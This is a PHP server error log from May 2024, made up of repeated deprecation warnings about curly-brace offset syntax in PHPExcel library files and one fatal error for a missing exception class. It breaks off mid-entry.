[22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 185 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 194 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 204 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 205 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 212 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 222 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 225 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 233 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 244 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 246 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 247 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 257 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 268 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 279 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 286 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 299 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 318 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 340 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 361 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 368 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 388 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 393 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 399 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 404 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 410 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 426 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 447 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 463 [22-May-2024 11:53:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [22-May-2024 11:53:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [22-May-2024 11:53:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [22-May-2024 11:53:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [22-May-2024 11:53:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [22-May-2024 11:53:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [22-May-2024 12:34:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 321 [22-May-2024 12:34:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 324 [22-May-2024 12:34:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 562 [22-May-2024 12:34:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 612 [22-May-2024 12:34:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [22-May-2024 12:34:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [22-May-2024 12:34:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [22-May-2024 12:34:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [22-May-2024 12:34:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [22-May-2024 12:34:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [22-May-2024 13:38:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [22-May-2024 13:38:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [22-May-2024 13:38:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 812 [22-May-2024 13:38:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 815 [22-May-2024 13:38:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 818 [22-May-2024 13:38:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 821 [22-May-2024 13:38:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [22-May-2024 13:38:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [22-May-2024 13:38:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [22-May-2024 13:38:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [22-May-2024 13:38:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [22-May-2024 13:38:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [26-May-2024 18:17:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [26-May-2024 18:17:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [26-May-2024 18:17:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [26-May-2024 18:17:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [26-May-2024 18:17:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [26-May-2024 18:17:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [26-May-2024 19:49:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 321 [26-May-2024 19:49:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 324 [26-May-2024 19:49:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 562 [26-May-2024 19:49:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 612 [26-May-2024 19:49:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [26-May-2024 19:49:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [26-May-2024 19:49:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [26-May-2024 19:49:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [26-May-2024 19:49:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [26-May-2024 19:49:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [26-May-2024 19:59:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [26-May-2024 19:59:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [26-May-2024 19:59:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [26-May-2024 19:59:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [26-May-2024 19:59:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [26-May-2024 19:59:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [26-May-2024 21:14:57 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php on line 28 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 162 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 184 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 185 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 194 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 204 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 205 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 212 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 222 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 225 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 233 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 244 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 246 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 247 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 257 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 268 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 279 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 286 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 299 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 318 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 340 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 361 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 368 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 388 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 393 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 399 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 404 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 410 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 426 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 447 [26-May-2024 21:19:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 463 [26-May-2024 21:28:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [26-May-2024 21:28:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [26-May-2024 21:28:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [26-May-2024 21:28:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [26-May-2024 21:28:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [26-May-2024 21:28:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [26-May-2024 22:23:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [26-May-2024 22:23:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [26-May-2024 22:23:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 812 [26-May-2024 22:23:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 815 [26-May-2024 22:23:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 818 [26-May-2024 22:23:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 821 [26-May-2024 22:23:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [26-May-2024 22:23:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [26-May-2024 22:23:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [26-May-2024 22:23:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [26-May-2024 22:23:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [26-May-2024 22:23:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [26-May-2024 23:13:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [26-May-2024 23:13:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [26-May-2024 23:13:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [26-May-2024 23:13:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [26-May-2024 23:13:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [26-May-2024 23:13:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 44 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in 